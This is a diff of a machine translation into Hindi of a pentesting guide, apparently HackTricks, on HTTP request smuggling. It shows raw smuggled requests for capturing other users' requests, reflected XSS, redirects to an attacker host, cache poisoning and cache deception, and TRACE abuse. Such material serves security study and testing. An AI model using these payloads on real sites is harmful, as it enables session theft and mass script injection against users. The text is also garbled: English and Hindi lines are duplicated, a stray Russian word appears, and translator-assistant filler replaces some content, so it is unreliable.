+Applications अक्सर आने वाले requests को back-end server को भेजने से पहले बदलने के लिए **front-end server** का उपयोग करते हैं। एक सामान्य परिवर्तन headers जोड़ना है, जैसे `X-Forwarded-For: <IP of the client>`, ताकि क्लाइंट का IP back-end तक पहुँचाया जा सके। इन परिवर्तनों को समझना महत्वपूर्ण हो सकता है, क्योंकि इससे आप सुरक्षा उपायों को बायपास करने या छिपी हुई जानकारी/endpoints का पता लगाने के तरीके उजागर कर सकते हैं।
-यह जांचने के लिए कि प्रॉक्सी एक अनुरोध को कैसे बदलती है, एक POST पैरामीटर खोजें जिसे बैक-एंड प्रतिक्रिया में दर्शाता है। फिर, इस पैरामीटर का उपयोग करते हुए एक अनुरोध तैयार करें, इसे अंतिम स्थान पर रखें, जैसा कि निम्नलिखित में है:
+जांचने के लिए कि proxy किसी request को कैसे बदलता है, एक ऐसा POST parameter ढूंढें जिसे back-end response में echo करता है। फिर, इस parameter को आख़िर में इस्तेमाल करते हुए एक request बनाएं, जो निम्न के समान हो:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@ -449,19 +483,31 @@ Content-Length: 100
 search=
 ```
-इस संरचना में, बाद के अनुरोध घटक `search=` के बाद जोड़े जाते हैं, जो प्रतिक्रिया में परामर्शित किया गया पैरामीटर है। यह परावर्तन बाद के अनुरोध के हेडर को उजागर करेगा।
+In this structure, subsequent request components are appended after `search=`, which is the parameter reflected in the response. This reflection will expose the headers of the subsequent request.
-यह महत्वपूर्ण है कि नेस्टेड अनुरोध के `Content-Length` हेडर को वास्तविक सामग्री की लंबाई के साथ संरेखित किया जाए। एक छोटे मान से शुरू करना और धीरे-धीरे बढ़ाना सलाहकार है, क्योंकि बहुत कम मान परावर्तित डेटा को काट देगा, जबकि बहुत उच्च मान अनुरोध को त्रुटि में डाल सकता है।
+इस संरचना में, बाद के अनुरोध के घटक `search=` के बाद जोड़े जाते हैं, जो प्रतिक्रिया में परावर्तित होने वाला पैरामीटर है। यह परावर्तन अगले अनुरोध के headers को उजागर कर देगा।
-यह तकनीक TE.CL भेद्यता के संदर्भ में भी लागू होती है, लेकिन अनुरोध को `search=\r\n0` के साथ समाप्त होना चाहिए। नई लाइन के वर्णों की परवाह किए बिना, मान खोज पैरामीटर में जोड़े जाएंगे।
+It's important to align the `Content-Length` header of the nested request with the actual content length. Starting with a small value and incrementing gradually is advisable, as too low a value will truncate the reflected data, while too high a value can cause the request to error out.
-यह विधि मुख्य रूप से फ्रंट-एंड प्रॉक्सी द्वारा किए गए अनुरोध संशोधनों को समझने के लिए है, जो मूल रूप से एक आत्म-निर्देशित जांच कर रही है।
+nested अनुरोध के `Content-Length` header को वास्तविक सामग्री की लंबाई के साथ मेल खाना महत्वपूर्ण है। छोटे मान से शुरू करके धीरे‑धीरे बढ़ाना सलाहयोग्य है, क्योंकि बहुत कम मान परावर्तित डेटा को कट कर देगा, जबकि बहुत अधिक मान अनुरोध को error करवा सकता है।
-### अन्य उपयोगकर्ताओं के अनुरोधों को कैप्चर करना <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
+This technique is also applicable in the context of a TE.CL vulnerability, but the request should terminate with `search=\r\n0`. Regardless of the newline characters, the values will append to the search parameter.
-एक POST ऑपरेशन के दौरान एक पैरामीटर के मान के रूप में एक विशिष्ट अनुरोध को जोड़कर अगले उपयोगकर्ता के अनुरोधों को कैप्चर करना संभव है। इसे कैसे किया जा सकता है, यहाँ है:
+यह तकनीक TE.CL vulnerability के संदर्भ में भी लागू होती है, लेकिन अनुरोध को `search=\r\n0` पर समाप्त करना चाहिए। newline characters की परवाह किए बिना, मान search पैरामीटर में जोड़ दिए जाएंगे।
-पैरामीटर के मान के रूप में निम्नलिखित अनुरोध को जोड़कर, आप अगले क्लाइंट के अनुरोध को स्टोर कर सकते हैं:
+This method primarily serves to understand the request modifications made by the front-end proxy, essentially performing a self-directed investigation.
 यह विधि मुख्यतः front-end proxy द्वारा किए गए अनुरोध संशोधनों को समझने के लिए है, मौलिक रूप से एक स्वयं-निर्देशित जांच करती है।
 ### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
 It's feasible to capture the requests of the next user by appending a specific request as the value of a parameter during a POST operation. Here's how this can be accomplished:
 POST ऑपरेशन के दौरान किसी पैरामीटर के मान के रूप में एक विशिष्ट request जोड़कर अगले उपयोगकर्ता के अनुरोधों को capture करना संभव है। इसे इस प्रकार किया जा सकता है:
 By appending the following request as the value of a parameter, you can store the subsequent client's request:
 निम्नलिखित request को किसी पैरामीटर के मान के रूप में जोड़कर आप बाद वाले क्लाइंट के अनुरोध को स्टोर कर सकते हैं:
 ```
 POST / HTTP/1.1
 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@ -481,20 +527,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
 csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
 ```
-इस परिदृश्य में, **comment parameter** का उद्देश्य एक सार्वजनिक रूप से सुलभ पृष्ठ पर एक पोस्ट की टिप्पणी अनुभाग में सामग्री को संग्रहीत करना है। परिणामस्वरूप, अगले अनुरोध की सामग्री एक टिप्पणी के रूप में दिखाई देगी।
+इस परिदृश्य में, **टिप्पणी पैरामीटर** का उद्देश्य सार्वजनिक रूप से सुलभ पेज पर पोस्ट के टिप्पणी सेक्शन के भीतर सामग्री संग्रहीत करना है। परिणामस्वरूप, बाद वाले अनुरोध की सामग्री एक टिप्पणी के रूप में दिखाई देगी।
-हालांकि, इस तकनीक की सीमाएँ हैं। सामान्यतः, यह केवल उस पैरामीटर डेलिमिटर तक डेटा कैप्चर करता है जो स्मगल्ड अनुरोध में उपयोग किया गया है। URL-encoded फॉर्म सबमिशन के लिए, यह डेलिमिटर `&` वर्ण है। इसका मतलब है कि पीड़ित उपयोगकर्ता के अनुरोध से कैप्चर की गई सामग्री पहले `&` पर रुक जाएगी, जो कि क्वेरी स्ट्रिंग का हिस्सा भी हो सकता है।
+हालाँकि, इस तकनीक की सीमाएँ हैं। सामान्यतः, यह केवल उस पैरामीटर डिलिमिटर तक ही डेटा कैप्चर करती है जो smuggled request में उपयोग किया गया है। URL-encoded form submissions के लिए, यह डिलिमिटर `&` कैरेक्टर है। इसका मतलब है कि पीड़ित उपयोगकर्ता के अनुरोध से कैप्चर किया गया कंटेंट पहले `&` पर रुक जाएगा, जो कभी-कभी query string का हिस्सा भी हो सकता है।
-इसके अतिरिक्त, यह ध्यान देने योग्य है कि यह दृष्टिकोण TE.CL भेद्यता के साथ भी व्यवहार्य है। ऐसे मामलों में, अनुरोध को `search=\r\n0` के साथ समाप्त होना चाहिए। नई लाइन वर्णों की परवाह किए बिना, मानों को खोज पैरामीटर में जोड़ा जाएगा।
+इसके अलावा, ध्यान देने योग्य है कि यह तरीका TE.CL vulnerability के साथ भी काम करता है। ऐसे मामलों में, request को `search=\r\n0` पर समाप्त होना चाहिए। newline characters की परवाह किए बिना, मान search पैरामीटर में जोड़ दिए जाएंगे।
-### HTTP अनुरोध स्मगलिंग का उपयोग करके परावर्तित XSS का शोषण करना
+### HTTP request smuggling का उपयोग reflected XSS का शोषण करने के लिए
-HTTP Request Smuggling का उपयोग उन वेब पृष्ठों का शोषण करने के लिए किया जा सकता है जो **Reflected XSS** के प्रति संवेदनशील हैं, जो महत्वपूर्ण लाभ प्रदान करता है:
+HTTP Request Smuggling का उपयोग उन वेब पेजों को exploit करने के लिए किया जा सकता है जो **Reflected XSS** के लिए कमजोर हैं, और यह महत्वपूर्ण फायदे देता है:
- लक्षित उपयोगकर्ताओं के साथ **संवाद की आवश्यकता नहीं है**।
+- लक्षित उपयोगकर्ताओं के साथ इंटरैक्शन **आवश्यक नहीं है**।
- अनुरोध के उन हिस्सों में XSS का शोषण करने की अनुमति देता है जो **सामान्यतः अप्राप्य** होते हैं, जैसे HTTP अनुरोध हेडर।
+- यह अनुरोध के उन हिस्सों में XSS का exploit करने की अनुमति देता है जो सामान्यतः **अप्राप्य** होते हैं, जैसे HTTP request headers।
-उन परिदृश्यों में जहां एक वेबसाइट User-Agent हेडर के माध्यम से Reflected XSS के प्रति संवेदनशील है, निम्नलिखित पेलोड इस भेद्यता का शोषण करने का तरीका प्रदर्शित करता है:
+ऐसी स्थितियों में जहाँ कोई वेबसाइट User-Agent header के माध्यम से Reflected XSS के प्रति संवेदनशील हो, निम्नलिखित payload यह दिखाता है कि इस vulnerability को कैसे exploit किया जा सकता है:
 ```
 POST / HTTP/1.1
 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -515,26 +561,26 @@ Content-Type: application/x-www-form-urlencoded
 A=
 ```
-यह पेलोड इस कमजोरियों का लाभ उठाने के लिए संरचित है:
+यह payload इस vulnerability का फायदा उठाने के लिए इस तरह संरचित है:
-1. एक `POST` अनुरोध शुरू करना, जो सामान्य प्रतीत होता है, जिसमें `Transfer-Encoding: chunked` हेडर होता है जो स्मगलिंग की शुरुआत को इंगित करता है।
+1. एक सामान्य दिखने वाला `POST` request शुरू करना, जिसमें smuggling की शुरुआत का संकेत देने के लिए `Transfer-Encoding: chunked` header होता है।
-2. इसके बाद एक `0` आता है, जो चंक किए गए संदेश के शरीर के अंत को चिह्नित करता है।
+2. इसके बाद `0` भेजना, जो chunked message body के अंत को दर्शाता है।
-3. फिर, एक स्मगल किया गया `GET` अनुरोध पेश किया जाता है, जहां `User-Agent` हेडर में एक स्क्रिप्ट, `<script>alert(1)</script>`, इंजेक्ट की जाती है, जो सर्वर द्वारा इस बाद के अनुरोध को संसाधित करते समय XSS को ट्रिगर करती है।
+3. फिर, एक smuggled `GET` request डाला जाता है, जिसमें `User-Agent` header में `<script>alert(1)</script>` जैसे script का injection किया जाता है, जो server द्वारा इस अगले request को process करते समय XSS को ट्रिगर करता है।
-`User-Agent` को स्मगलिंग के माध्यम से हेरफेर करके, पेलोड सामान्य अनुरोध सीमाओं को बायपास करता है, इस प्रकार एक गैर-मानक लेकिन प्रभावी तरीके से Reflected XSS कमजोरियों का लाभ उठाता है।
+smuggling के जरिए `User-Agent` को manipulate करके, यह payload सामान्य request constraints को बायपास कर देता है, और इस तरह non-standard परंतु प्रभावी तरीके से Reflected XSS vulnerability का फायदा उठाता है।
 #### HTTP/0.9
 > [!CAUTION]
-> यदि उपयोगकर्ता की सामग्री एक **`Content-type`** के साथ प्रतिक्रिया में परिलक्षित होती है जैसे कि **`text/plain`**, तो XSS के निष्पादन को रोकता है। यदि सर्वर **HTTP/0.9** का समर्थन करता है तो इसे बायपास करना संभव हो सकता है!
+> यदि user content किसी response में **`Content-type`** जैसे **`text/plain`** के साथ reflect होता है, तो XSS की execution रोकी जा सकती है। यदि server **HTTP/0.9** को support करता है तो इसे bypass करना संभव हो सकता है!
-संस्करण HTTP/0.9 पहले 1.0 से था और केवल **GET** क्रियाओं का उपयोग करता है और **हेडर** के साथ प्रतिक्रिया नहीं करता, केवल शरीर के साथ।
+HTTP/0.9 version 1.0 से पहले की थी और यह केवल **GET** verbs का उपयोग करती है और **headers** के साथ respond नहीं करती, केवल body भेजती है।
-[**इस लेख**](https://mizu.re/post/twisty-python) में, इसका दुरुपयोग एक अनुरोध स्मगलिंग और एक **कमजोर एंडपॉइंट के साथ किया गया जो उपयोगकर्ता के इनपुट के साथ प्रतिक्रिया देगा** ताकि HTTP/0.9 के साथ एक अनुरोध को स्मगल किया जा सके। प्रतिक्रिया में परिलक्षित होने वाला पैरामीटर एक **नकली HTTP/1.1 प्रतिक्रिया (हेडर और शरीर के साथ)** था ताकि प्रतिक्रिया में `text/html` के `Content-Type` के साथ मान्य निष्पादन योग्य JS कोड शामिल हो सके।
+इस [**this writeup**](https://mizu.re/post/twisty-python) में, इसे request smuggling के साथ abused किया गया था और एक **vulnerable endpoint जो user के input के साथ reply करेगा** का इस्तेमाल करके HTTP/0.9 के साथ request smuggle करने में दुरुपयोग किया गया था। Response में जो parameter reflect होगा, उसमें एक **fake HTTP/1.1 response (with headers and body)** शामिल था, इसलिए response में `Content-Type` `text/html` के साथ valid executable JS code होगा।
-### HTTP अनुरोध स्मगलिंग के साथ ऑन-साइट रीडायरेक्ट्स का लाभ उठाना <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
+### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
-ऐप्लिकेशन अक्सर `Host` हेडर से रीडायरेक्ट URL में होस्टनेम का उपयोग करके एक URL से दूसरे URL पर रीडायरेक्ट करते हैं। यह Apache और IIS जैसे वेब सर्वरों के साथ सामान्य है। उदाहरण के लिए, बिना ट्रेलिंग स्लैश के एक फ़ोल्डर का अनुरोध करने पर स्लैश शामिल करने के लिए रीडायरेक्ट होता है:
+Applications अक्सर redirect करते हैं एक URL से दूसरे URL पर, redirect URL में hostname के लिए `Host` header का उपयोग करके। यह Apache और IIS जैसे web servers में सामान्य है। उदाहरण के लिए, किसी फोल्डर का request बिना trailing slash के करने पर redirect होता है ताकि slash शामिल हो:
 ```
 GET /home HTTP/1.1
 Host: normal-website.com
@ -544,7 +590,7 @@ Host: normal-website.com
 HTTP/1.1 301 Moved Permanently
 Location: https://normal-website.com/home/
 ```
-हालांकि यह व्यवहार हानिरहित प्रतीत होता है, इसे HTTP request smuggling का उपयोग करके उपयोगकर्ताओं को एक बाहरी साइट पर पुनर्निर्देशित करने के लिए हेरफेर किया जा सकता है। उदाहरण के लिए:
+हालाँकि दिखाई देने में हानिरहित, इस व्यवहार को HTTP request smuggling का उपयोग करके उपयोगकर्ताओं को किसी बाहरी साइट पर redirect करने के लिए हेरफेर किया जा सकता है। उदाहरण के लिए:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@ -558,29 +604,29 @@ GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: X
 ```
-यह स्मगल किया गया अनुरोध अगले संसाधित उपयोगकर्ता अनुरोध को एक हमलावर-नियंत्रित वेबसाइट पर पुनर्निर्देशित कर सकता है:
+यह smuggled request अगले प्रसंस्कृत उपयोगकर्ता अनुरोध को attacker-controlled वेबसाइट पर रीडायरेक्ट कर सकता है:
 ```
 GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: XGET /scripts/include.js HTTP/1.1
 Host: vulnerable-website.com
 ```
-परिणाम:
+इसके परिणामस्वरूप:
 ```
 HTTP/1.1 301 Moved Permanently
 Location: https://attacker-website.com/home/
 ```
-इस परिदृश्य में, एक उपयोगकर्ता की JavaScript फ़ाइल के लिए अनुरोध को हाईजैक किया जाता है। हमलावर संभावित रूप से उपयोगकर्ता को दुर्भावनापूर्ण JavaScript प्रदान करके समझौता कर सकता है।
+In this scenario, a user's request for a JavaScript file is hijacked. The attacker can potentially compromise the user by serving malicious JavaScript in response.
-### HTTP Request Smuggling के माध्यम से Web Cache Poisoning का शोषण <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
-Web cache poisoning को निष्पादित किया जा सकता है यदि **फ्रंट-एंड इन्फ्रास्ट्रक्चर के किसी भी घटक ने सामग्री को कैश किया है**, आमतौर पर प्रदर्शन को बढ़ाने के लिए। सर्वर की प्रतिक्रिया को हेरफेर करके, **कैश को ज़हरीला** बनाना संभव है।
+Web cache poisoning तब किया जा सकता है अगर कोई भी component of the **front-end infrastructure caches content**, सामान्यतः प्रदर्शन बढ़ाने के लिए। सर्वर की प्रतिक्रिया को हेरफेर करके, **poison the cache** करना संभव है।
-पहले, हमने देखा कि सर्वर की प्रतिक्रियाओं को 404 त्रुटि लौटाने के लिए कैसे बदला जा सकता है (देखें [Basic Examples](#basic-examples))। इसी तरह, सर्वर को `/static/include.js` के लिए अनुरोध के जवाब में `/index.html` सामग्री प्रदान करने के लिए धोखा देना संभव है। परिणामस्वरूप, `/static/include.js` की सामग्री कैश में `/index.html` की सामग्री से बदल जाती है, जिससे `/static/include.js` उपयोगकर्ताओं के लिए अनुपलब्ध हो जाता है, जो संभावित रूप से Denial of Service (DoS) का कारण बन सकता है।
+पहले हमने देखा कि कैसे सर्वर प्रतिक्रियाओं को बदलकर 404 error लौटाया जा सकता है (देखें [Basic Examples](#basic-examples)). इसी तरह, यह संभव है कि सर्वर को ठगा जाए और किसी अनुरोध के जवाब में `/index.html` सामग्री `/static/include.js` के अनुरोध के लिए दी जाए। परिणामस्वरूप, `/static/include.js` की सामग्री cache में `/index.html` की सामग्री से बदल दी जाती है, जिससे `/static/include.js` उपयोगकर्ताओं के लिए अनुपलब्ध हो जाता है और संभावित रूप से Denial of Service (DoS) का कारण बन सकता है।
-यह तकनीक विशेष रूप से प्रभावी हो जाती है यदि **Open Redirect भेद्यता** पाई जाती है या यदि **एक ओपन रीडायरेक्ट के लिए ऑन-साइट रीडायरेक्ट** है। ऐसी भेद्यताओं का उपयोग करके `/static/include.js` की कैश की गई सामग्री को हमलावर के नियंत्रण में एक स्क्रिप्ट के साथ बदलना संभव है, जिससे सभी क्लाइंट्स के खिलाफ एक व्यापक Cross-Site Scripting (XSS) हमले की अनुमति मिलती है जो अपडेटेड `/static/include.js` का अनुरोध कर रहे हैं।
+यह technique विशेष रूप से खतरनाक हो जाती है यदि कोई **Open Redirect vulnerability** खोज ली जाए या साइट के भीतर किसी **on-site redirect to an open redirect** मौजूद हो। ऐसी कमजोरियों का उपयोग करके `/static/include.js` की cache की हुई सामग्री को attacker के नियंत्रण वाले स्क्रिप्ट से बदल दिया जा सकता है, जिससे उन सभी क्लाइंट्स के खिलाफ व्यापक Cross-Site Scripting (XSS) हमला संभव हो जाता है जो अपडेट की गई `/static/include.js` का अनुरोध करते हैं।
-नीचे **कैश ज़हर देने के साथ-साथ ओपन रीडायरेक्ट के लिए ऑन-साइट रीडायरेक्ट** का शोषण करने का एक चित्रण है। उद्देश्य है `/static/include.js` की कैश सामग्री को हमलावर द्वारा नियंत्रित JavaScript कोड प्रदान करने के लिए बदलना:
+नीचे **cache poisoning combined with an on-site redirect to open redirect** का शोषण करने का एक उदाहरण दिया गया है। उद्देश्य `/static/include.js` के cache कंटेंट को बदलकर attacker द्वारा नियंत्रित JavaScript सर्व करना है:
 ```
 POST / HTTP/1.1
 Host: vulnerable.net
@ -598,20 +644,20 @@ Content-Length: 10
 x=1
 ```
-नोट करें कि एम्बेडेड अनुरोध `/post/next?postId=3` को लक्षित कर रहा है। यह अनुरोध `/post?postId=4` पर पुनर्निर्देशित किया जाएगा, **Host header value** का उपयोग करके डोमेन निर्धारित करने के लिए। **Host header** को बदलकर, हमलावर अनुरोध को अपने डोमेन पर पुनर्निर्देशित कर सकता है (**on-site redirect to open redirect**)।
+ध्यान दें कि एम्बेडेड रिक्वेस्ट `/post/next?postId=3` को लक्षित कर रही है। यह रिक्वेस्ट `/post?postId=4` पर रीडायरेक्ट हो जाएगी, डोमेन निर्धारित करने के लिए **Host header value** का उपयोग करते हुए। **Host header** को बदलकर, attacker अपनी डोमेन पर रिक्वेस्ट रीडायरेक्ट कर सकता है (**on-site redirect to open redirect**)।
-सफल **socket poisoning** के बाद, `/static/include.js` के लिए एक **GET request** शुरू की जानी चाहिए। यह अनुरोध पूर्व के **on-site redirect to open redirect** अनुरोध द्वारा संदूषित किया जाएगा और हमलावर द्वारा नियंत्रित स्क्रिप्ट की सामग्री लाएगा।
+सफल **socket poisoning** के बाद, `/static/include.js` के लिए एक **GET request** शुरू की जानी चाहिए। यह रिक्वेस्ट पहले की हुई **on-site redirect to open redirect** रिक्वेस्ट से संदूषित हो जाएगी और attacker द्वारा नियंत्रित स्क्रिप्ट की सामग्री प्राप्त करेगी।
-इसके बाद, `/static/include.js` के लिए कोई भी अनुरोध हमलावर की स्क्रिप्ट की कैश की गई सामग्री को सेवा देगा, प्रभावी रूप से एक व्यापक XSS हमले को लॉन्च करेगा।
+इसके बाद, `/static/include.js` के लिए कोई भी रिक्वेस्ट attacker के स्क्रिप्ट की कैश्ड सामग्री सर्व करेगी, जिससे प्रभावी रूप से एक व्यापक XSS attack लॉन्च हो जाएगा।
-### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
+### HTTP request smuggling का उपयोग करके web cache deception करना <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
-> **वेब कैश पॉइज़निंग और वेब कैश धोखाधड़ी में क्या अंतर है?**
+> **web cache poisoning और web cache deception में क्या अंतर है?**
 >
-> - **वेब कैश पॉइज़निंग** में, हमलावर एप्लिकेशन को कैश में कुछ दुर्भावनापूर्ण सामग्री संग्रहीत करने के लिए मजबूर करता है, और यह सामग्री अन्य एप्लिकेशन उपयोगकर्ताओं को कैश से सेवा दी जाती है।
+> - **web cache poisoning** में, attacker एप्लिकेशन को cache में कुछ दुर्भावनापूर्ण सामग्री स्टोर कराने के लिए प्रेरित करता है, और यह सामग्री cache से अन्य एप्लिकेशन उपयोगकर्ताओं को सर्व की जाती है।
-> - **वेब कैश धोखाधड़ी** में, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता की कुछ संवेदनशील सामग्री कैश में संग्रहीत करने के लिए मजबूर करता है, और फिर हमलावर इस सामग्री को कैश से पुनः प्राप्त करता है।
+> - **web cache deception** में, attacker एप्लिकेशन को किसी अन्य उपयोगकर्ता की कुछ संवेदनशील सामग्री cache में स्टोर करवा देता है, और फिर attacker उस सामग्री को cache से प्राप्त कर लेता है।
-हमलावर एक स्मगल्ड अनुरोध तैयार करता है जो संवेदनशील उपयोगकर्ता-विशिष्ट सामग्री लाता है। निम्नलिखित उदाहरण पर विचार करें:
+attacker एक smuggled request तैयार करता है जो संवेदनशील user-विशिष्ट सामग्री को प्राप्त करती है। निम्नलिखित उदाहरण पर विचार करें:
 ```markdown
 `POST / HTTP/1.1`\
 `Host: vulnerable-website.com`\
@ -622,17 +668,17 @@ x=1
 `GET /private/messages HTTP/1.1`\
 `Foo: X`
 ```
-यदि यह स्मगल्ड अनुरोध स्थिर सामग्री (जैसे, `/someimage.png`) के लिए अभिप्रेत कैश प्रविष्टि को विषाक्त करता है, तो पीड़ित का संवेदनशील डेटा `/private/messages` से स्थिर सामग्री के कैश प्रविष्टि के तहत कैश किया जा सकता है। परिणामस्वरूप, हमलावर संभवतः इन कैश किए गए संवेदनशील डेटा को पुनः प्राप्त कर सकता है।
+यदि यह smuggled request किसी static content (उदा., `/someimage.png`) के लिए बने cache entry को poison कर दे, तो victim का संवेदनशील डेटा `/private/messages` उस static content के cache entry के तहत cached हो सकता है। परिणामस्वरूप, attacker संभवतः इन cached संवेदनशील डेटा को पुनः प्राप्त कर सकता है।
-### HTTP Request Smuggling के माध्यम से TRACE का दुरुपयोग <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### TRACE का दुरुपयोग HTTP Request Smuggling के माध्यम से <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
-[**इस पोस्ट में**](https://portswigger.net/research/trace-desync-attack) सुझाव दिया गया है कि यदि सर्वर में TRACE विधि सक्षम है, तो इसे HTTP Request Smuggling के साथ दुरुपयोग करना संभव हो सकता है। इसका कारण यह है कि यह विधि सर्वर को भेजे गए किसी भी हेडर को प्रतिक्रिया के शरीर के भाग के रूप में परावर्तित करेगी। उदाहरण के लिए:
+[**In this post**](https://portswigger.net/research/trace-desync-attack) में सुझाया गया है कि यदि सर्वर पर method TRACE सक्रिय है तो इसे HTTP Request Smuggling के साथ दुरुपयोग किया जा सकता है। ऐसा इसलिए है क्योंकि यह method सर्वर को भेजे गए किसी भी header को response के body के हिस्से के रूप में reflect कर देगा। उदाहरण के लिए:
 ```
 TRACE / HTTP/1.1
 Host: example.com
 XSS: <script>alert("TRACE")</script>
 ```
-Sure, please provide the content you would like me to translate.
+Please paste the contents of src/pentesting-web/http-request-smuggling/README.md (exact markdown). I will translate the English text to Hindi while preserving code, links, tags and paths.
 ```
 HTTP/1.1 200 OK
 Content-Type: message/http
@ -643,15 +689,15 @@ Host: vulnerable.com
 XSS: <script>alert("TRACE")</script>
 X-Forwarded-For: xxx.xxx.xxx.xxx
 ```
-एक उदाहरण कि इस व्यवहार का कैसे दुरुपयोग किया जा सकता है, वह है **पहले एक HEAD अनुरोध को स्मगल करना**। इस अनुरोध का उत्तर केवल GET अनुरोध के **हेडर** के साथ दिया जाएगा (**`Content-Type`** उनमें से एक)। और **HEAD के तुरंत बाद एक TRACE अनुरोध को स्मगल करना**, जो **भेजे गए डेटा को दर्शाएगा**।\
+इस व्यवहार का दुरुपयोग करने का एक उदाहरण होगा कि **smuggle first a HEAD request**. This request का response केवल GET request के **headers** होंगे (जिनमें **`Content-Type`** शामिल है). और **immediately after the HEAD a TRACE request** को smuggle करें, जो भेजे गए डेटा को reflect करेगा.\
-चूंकि HEAD प्रतिक्रिया में एक `Content-Length` हेडर होगा, **TRACE अनुरोध की प्रतिक्रिया को HEAD प्रतिक्रिया के शरीर के रूप में माना जाएगा, इसलिए यह प्रतिक्रिया में मनमाना डेटा दर्शाएगी**।\
+चूँकि HEAD response में एक `Content-Length` header होगा, поэтому **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** response में arbitrary डेटा को प्रतिबिंबित करेगा.\
-यह प्रतिक्रिया कनेक्शन पर अगले अनुरोध को भेजी जाएगी, इसलिए इसे **उदाहरण के लिए एक कैश किए गए JS फ़ाइल में मनमाना JS कोड इंजेक्ट करने के लिए उपयोग किया जा सकता है**।
+यह response connection पर अगले request को भेज दिया जाएगा, इसलिए इसे **used in a cached JS file for example to inject arbitrary JS code** के लिए उपयोग किया जा सकता है।
-### HTTP प्रतिक्रिया विभाजन के माध्यम से TRACE का दुरुपयोग <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### TRACE का दुरुपयोग के माध्यम से HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
-[**इस पोस्ट**](https://portswigger.net/research/trace-desync-attack) का पालन करना TRACE विधि के दुरुपयोग का एक और तरीका सुझाता है। जैसा कि टिप्पणी की गई है, एक HEAD अनुरोध और एक TRACE अनुरोध को स्मगल करके, HEAD अनुरोध की प्रतिक्रिया में **कुछ दर्शाए गए डेटा को नियंत्रित करना संभव है**। HEAD अनुरोध के शरीर की लंबाई मूल रूप से Content-Length हेडर में संकेतित होती है और यह TRACE अनुरोध की प्रतिक्रिया द्वारा बनाई जाती है।
+[**this post**](https://portswigger.net/research/trace-desync-attack) पढ़ने की सलाह दी जाती है — इसमें TRACE method का दुरुपयोग करने का एक और तरीका बताया गया है। जैसा कि बताया गया है, एक HEAD request और एक TRACE request smuggle करके, HEAD request के response में कुछ reflected डेटा को नियंत्रित करना संभव है। HEAD request के body की लंबाई मूलतः `Content-Length` header में दर्शाई जाती है और यह TRACE request के response से बनती है। 
-इसलिए, नया विचार यह होगा कि, इस Content-Length और TRACE प्रतिक्रिया में दिए गए डेटा को जानते हुए, TRACE प्रतिक्रिया को Content-Length के अंतिम बाइट के बाद एक मान्य HTTP प्रतिक्रिया शामिल करने की अनुमति देना, जिससे एक हमलावर को अगले प्रतिक्रिया के लिए अनुरोध को पूरी तरह से नियंत्रित करने की अनुमति मिलती है (जिसका उपयोग कैश विषाक्तता करने के लिए किया जा सकता है)।
+इसलिए, नई सोच यह है कि, इस `Content-Length` और TRACE response में दिए गए data को जानकर, संभव है कि TRACE response में `Content-Length` के अंतिम बाइट के बाद एक valid HTTP response शामिल कर दिया जाए, जिससे हमलावर अगले response के लिए भेजे जाने वाले request को पूरी तरह नियंत्रित कर सके (जिसे cache poisoning को अंजाम देने के लिए use किया जा सकता है)।
 उदाहरण:
 ```
@ -672,7 +718,7 @@ Content-Length: 44\r\n
 \r\n
 <script>alert("response splitting")</script>
 ```
-ये प्रतिक्रियाएँ उत्पन्न करेगा (ध्यान दें कि HEAD प्रतिक्रिया में एक Content-Length है जो TRACE प्रतिक्रिया को HEAD शरीर का हिस्सा बनाता है और जब HEAD Content-Length समाप्त होता है, तो एक मान्य HTTP प्रतिक्रिया चुराई जाती है):
+ये responses उत्पन्न होंगे (ध्यान दें कि HEAD response में Content-Length होने के कारण TRACE response HEAD बॉडी का हिस्सा बन जाता है और जैसे ही HEAD का Content-Length समाप्त होता है, एक वैध HTTP response smuggled हो जाता है):
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@ -695,7 +741,7 @@ Content-Length: 50
 ```
 ### HTTP Request Smuggling को HTTP Response Desynchronisation के साथ हथियार बनाना
-क्या आपने कुछ HTTP Request Smuggling की कमजोरी पाई है और आप नहीं जानते कि इसे कैसे भुनाना है। इन अन्य शोषण विधियों को आजमाएं:
+क्या आपने कोई HTTP Request Smuggling vulnerability पाया है और आप नहीं जानते कि इसे कैसे exploit किया जाए? इन अन्य exploitation तरीकों को आज़माएँ:
 {{#ref}}
@ -704,25 +750,25 @@ Content-Length: 50
 ### अन्य HTTP Request Smuggling तकनीकें
- ब्राउज़र HTTP Request Smuggling (क्लाइंट साइड)
+- Browser HTTP Request Smuggling (Client Side)
 {{#ref}}
